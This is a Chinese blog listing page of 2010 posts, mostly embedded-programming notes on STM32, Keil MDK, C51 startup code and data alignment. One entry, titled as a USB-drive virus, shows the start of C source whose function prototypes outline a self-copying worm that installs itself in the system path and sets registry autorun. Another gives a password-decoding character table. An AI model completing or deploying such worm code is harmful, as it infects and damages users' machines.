- 博客(24)
- 资源 (5)
- 收藏
- 关注
原创 第一个STM32程序
/******************************************************************************** File Name : main.c* Author : Wuhan R&D Center, Embest* Date First Issued : 08/08/2008* Description : Main program body***************************
2010-10-31 14:59:00 2063
原创 J-LINK ,MDK4.10 配置 stm32
MDK 注册。不注册不能link 大小限制 J-LINK 手动烧写,SWD可以不配置。CPU选择正确 Target 内存地址配置(默认可以不配置)Port 一定要选择 SW,否则不能debug选择正确芯片
2010-10-31 13:04:00 2550 1
转载 STM32 启动配置
STM32 之 LED2010-10-14 13:17自己的USER文件组下有3个c文件,以后会按照这个程序结构写程序。代码参考于 “ OPELC思蛻蒙 http://bbs.opelc.org/viewthread.php?tid=6441&extra=page%3D1 ”(1)Main.c 主函数(2)Init_External_Device.c 外设初始化函数(3)includes.h 自己的c文件用的包含头文件下面是源码:(1)Main
2010-10-31 00:12:00 2584
转载 STM32学习笔记(一)----系统时钟
STM32学习笔记(一)----系统时钟2009-09-18 01:40拿到DX32板后,我依照学习8位单片机的经验,准备先把STM32的相关寄存器配置搞清楚下。可是当我打开STM32的DS后,才发现它的寄存器比8位机不知多了多少倍,估计有几十上百个吧。。。这得记得猴年马月啊?幸好,ST公司每款MCU都有相对应的库函数。嗯,对于我这种还没入门的人来说,有库函数那简直就是鸟枪换大炮啊。。当然是在不求甚解的情况下。。。呵呵。--------------------------------------------
2010-10-30 23:56:00 1627
转载 RealView 编译工具 《汇编器指南》 REQUIRE8 和 PRESERVE8
RealView 编译工具 《汇编器指南》4.0 版Home > 指令参考 > 其他指令 > REQUIRE8 和 PRESERVE87.8.15. REQUIRE8 和 PRESERVE8REQUIRE8 指令指定当前文件要求堆栈八字节对齐。 它设置 REQ8 生成属性以通知链接器。PRESERVE8 指令指定当前文件保持堆栈八字节对齐。 它设置 PRES8 编译属性以通知链接器。链接器检查要求堆栈八字节对齐的任何代码是否仅由保持堆栈八字节对齐的代码直接或间接地调用。语法REQUIRE8 {bool}
2010-10-30 10:02:00 4294
转载 RealView 编译工具 《汇编器指南》 ALIGN
RealView 编译工具 《汇编器指南》4.0 版Home > 指令参考 > 其他指令 > ALIGN7.8.1. ALIGNALIGN 指令通过用零或 NOP 指令进行填充将当前位置对齐到指定边界。语法ALIGN {expr{,offset{,pad{,padsize}}}}其中:expr是一个数值表达式,取值为 20 到 231 范围内的 2 的任何次幂offset可以是任何数值表达式pad可以是任何数值表达式padsize可为 1、2 或 4。操作使当前位置对齐到如下形式的下一地址:offset
2010-10-30 10:01:00 1745
转载 眼中的数据对齐
【原创】我眼中的数据对齐 收藏导读: 发帖人:hejiwen 时 间: 2005-06-16 16:37 原文链接:http://bbs.pediy.com/showthread.php?threadid=14526 详细信息: 我眼中的数据对齐 作者:溟初 在看雪论坛关于memcpy的帖子 (http://bbs.pediy.com/showthread.php?s=&threadid=14128) 中谈及了数据对齐的话题,重新唤起了我对
2010-10-30 10:00:00 1143
转载 .align x 指令作用的直观解释。
.align x 指令作用的直观解释。.align x 之后的第一条指令以地址边界x对齐,其间跨越的部分用nop(机器指令0x90)来填充。
2010-10-30 02:17:00 1500
转载 字节对齐详解
一.什么是字节对齐,为什么要对齐? 现代计算机中内存空间都是按照byte划分的,从理论上讲似乎对任何类型的变量的访问可以从任何地址开始,但实际情况是在访问特定类型变量的时候经常在特 定的内存地址访问,这就需要各种类型数据按照一定的规则在空间上排列,而不是顺序的一个接一个的排放,这就是对齐。 对齐的作用和原因:各个硬件平台对存储空间的处理上有很大的不同。一些平台对某些特定类型的数据只能从某些特定地址开始存取。比如有些架构的CPU在访问 一个没有进行对齐的变量的时候会发生错误,那么在这种架构下编程必
2010-10-30 00:59:00 1129 1
转载 STM32 keil mdk启动代码发分析
STM32 keil mdk启动代码发分析 收藏学习STM32,看了一堆乱七八糟的文档,准备写程序了,先分析了下STM32的启动代码,看着这堆鬼鬼的汇编代码,挺吓人的,看看帮助,查查网路,还是不那么难懂。 view plaincopy to clipboardprint?;// Stack Configuration ;// Stack Size (in Bytes) ;// Stack_Size EQU 0x00000200
2010-10-30 00:40:00 5150 1
转载 STM32开发环境(工具)之Keil MDK 介绍
<br /><br />STM32微处理器基于ARM核,所以很多基于ARM嵌入式开发环境都可用于STM32开发平台。开发工具都可用于STM32开发。选择合适的开发环境可以加快开发进度,节省开发成本。本章将先对STM32常用的开发工具Keil MDK和IAR EWARM进行简单介绍,然后结合STM32_SK仿真评估板和STM32F103C的开发板讲解STM32片上资源使用,最后给出一个基于STM32的数据采集器的应用实例。<br /><br />5.1 Keil MDK介绍<br />Keil是德国知名软件公
2010-10-30 00:22:00 98193 8
转载 如何在 KEIL C51(v6.21) 中调用汇编函数的一个示例
如何在 KEIL C51(v6.21) 中调用汇编函数的一个示例 [ycong_kuang]有关c51调用汇编的方法已经有很多帖子讲到,但是一般只讲要点,很少有对整个过程作详细描述,对于初学者是不够的,这里笔者通过一个简单例子对这个过程进行描述,希望能对初学者有所帮助。几年来,在这个论坛里笔者得到很多热心人指导,因此也希望藉此尽一点绵薄之力。在这个例子里,阐述了编写c51程序调用汇编函数的一种方法,这个外部函数的入口参数是一个字符型变量和一个位变量,返回值是一个整型变量。例中,
2010-10-29 00:35:00 2680
转载 Keil C51初始化代码 Startup.a51的中文说明
Keil C51初始化代码 Startup.a51的中文说明时间:2007-01-04 来源: 作者:下岗农民 点击: 3875 字体大小:【大 中 小】;------------------------------------------------------------------------------; STARTUP.A51: 用户上电初始化程序;-----------------------------------------------------------------
2010-10-28 23:53:00 3845
转载 C51编程经验三则
C51编程经验三则2009年08月19日 星期三 11:18在单片机的开发应用中,已逐渐开始引入高级语言,C语言就是其中的一种。用惯了汇编的人,总觉得高级语言“可控性”不好,不如汇编那样随心所欲。以下是笔者在C51编程中的几点经验,希望对初学C51者有所帮助。一、C51热启动代码的编制工业控制计算机,往往设有看门狗电路,看门狗动作,计算机复位,这就是热启动。热启动时,一般不允许程序从头开始,因为这将使测量或计算值复位,导致系 统工作异常。故程序必须判断是热启动还是冷启动。常用的方法是:设定某内存单位为标志位
2010-10-28 23:49:00 1184
转载 MCS-51单片机存储器结构
MCS-51单片机存储器结构MCS-51的存储器可分为四类: 程序存储器 一个微处理器能够聪明地执行某种任务,除了它们强大的硬件外,还需要它们运行的软件,其实微处理器并不聪明,它们只是完全按照人们预先编写的程序而执行之。那么设计人员编写的程序就存放在微处理器的程序存储器中,俗称只读程序存储器(ROM)。程序相当于给微处理器处理问题的一系列命令。其实程序和数据一样,都是由机器码组成的代码串。只是程序代码则存放于程序存储器中。 MCS-51具有64kB程序存储器寻址空间,它是用于存放用户程序
2010-10-28 23:07:00 2687
转载 基于USB的IAP功能实现
我们知道ST推出的Cortex-M3平台STM32内部有两个Flash区域,一是System Flash,ST官方保留的一个区域,用于存放IAP代码。该区域不对用户开放,仅提供UART的通讯接口用于IAP升级;另一个区域是User Flash,这一部分是供用户自由使用的。STM32自带USB 2.0 Device接口,如果需要通过USB接口来实现IAP功能需要如何做呢?这里介绍如何利用ST STM32xx USB Development Kit提供的DFU代码来实现上述功能。我用STM3210EVB来演示
2010-10-28 18:28:00 5052 1
转载 Cortex系列ARM内核介绍
Cortex系列ARM内核介绍ARM 2010-01-09 22:57:44 阅读72 评论0 字号:大中小 订阅原文:http://group.ednchina.com/2301/35495.aspxCortex系列ARM内核介绍文章发表于:2010-01-08 15:45作者:杨老师,华清远见嵌入式学院讲师。众所周知,英国的ARM公司是嵌入式微处理器世界当中的佼佼者。ARM一直以来都是自己研发微处理器内核架构,然后将这些架构的知识产权授权给各个芯片厂商,精简的CPU架构,高效的处理能力以及成功的商业模
2010-10-27 21:27:00 1470
转载 关于C++中文字符的处理
<br />关于C++中文字符的处理2007-05-26 09:19一 引入问题代码 wchar_t a[3]=L”中国”,编译时出错,出错信息为:数组越界。但wchar_t 是一个宽字节类型,数组a的大小应为6个字节,而两个汉字的的unicode码占4个字节,再加上一个结束符,最多6个字节,所以应该不会越界。难道是编译器出问题了?二 解决引入问题所需的知识 主要需两方面的知识,第一个为字符尤其是汉字的编码,以及语言和工具的支持情况,第二个是vc/c++中MutiByte Charater Set 和
2010-10-23 14:43:00 1086
转载 诺基亚S40机型新手美化攻略
【4.17更新】诺基亚S40机型新手美化攻略大家先去过目下美化之后的部分截图有图的发下面这里哦~友友美化截图分享(发图有奖励哦)3.4楼教程是“啊东”帮我做的大家要记得他哦 1.怎样刷美化 2.美化包集合 3.美化教程贴1(阿东帮我这个懒人做的 )4.美化教程贴2(还是阿东帮我这个懒人做的 )感谢CHxin,小胖,小鱼,蜗牛刷牙,Star禁,linzhenhui62,guanweijun88,l445698714 等人供图早就想来个美化的教程了苦于一直没有时间今天打算整理一点点,以后慢慢编辑呵如果自己没时间
2010-10-22 00:32:00 2584
转载 QQ2010的个人文件夹结构
<br />QQ2010的个人文件夹结构和以前大不一样。存储方式也变化很大。<br /> 研究了一下,我把这些目录和文件的作用列举出来,如有错误,欢迎补充和纠正。<br /> QQ2010的个人文件夹一般位于“我的文档”下的“Tencent Files”下面。<br /> │ <br /> └─Tencent Files<br /> ├─172437217 自己的QQ号<br /> │ │ CustomFace.db 自定义表情,可以用7ZIP解压出来<br /> │ │ CustomFace
2010-10-20 14:03:00 1936 1
转载 vs密码翻译
<br />vs密码翻译<br /><br />a2 0 <br />a3 1 <br />a4 2 <br />a5 3 <br />a6 4 <br />a7 5 <br />a8 6 <br />a9 7 <br />aa 8 <br />ab 9 d1 _<br /> <br
2010-10-20 13:25:00 714 1
转载 DLL编写教程
<br />DLL编写教程<br /> <br />本文对通用的DLL技术做了一个总结,并提供了源代码打包下载,下载地址为:<br />http://www.blogjava.net/Files/wxb_nudt/DLL_SRC.rarDLL的优点<br />简单的说,dll有以下几个优点:<br />1) 节省内存。同一个软件模块,若是以源代码的形式重用,则会被编译到不同的可执行程序中,同时运行这些exe时这些模块的二进制码会被重复加载到内存中。如果使用dll,则只在内存中加载一次,所有使用该dll的进程
2010-10-09 16:29:00 543
转载 U盘 病毒
#include #include #include #include #pragma comment(lib,"shlwapi.lib")#define TIMER 1LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);BOOL GetSystemPath();BOOL GetSelfPath();BOOL CopyToSystemPath();BOOL SetRegAutoRun();BOOL SetAttributes(TCHAR *path);V
2010-10-09 09:37:00 827
转载 使用Wake On Lan远程唤醒
<br />使用Wake On Lan远程唤醒<br />客厅里的那台htpc,在无下片任务的时候,大部分时间里都在白白浪费电。主板是支持wake on lan的,把它弄成可以远程控制会比较经济。<br />首先要设置bios,将电源管理下的 Wake On Lan (或叫PME Event Wake Up) 启用。<br />然后在系统里对网卡进行设置(我的htpc跑的是windows xp sp2,网卡必须是支持Wake On Lan的,原本用的无线PCI网卡不支持,只好使用主板自带的网卡),首先在"高
2010-10-08 17:10:00 18639 1
GD5F1GQ4UAYIG.PDF
2018-10-06
windows 操作系统课程设计
2010-04-10
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人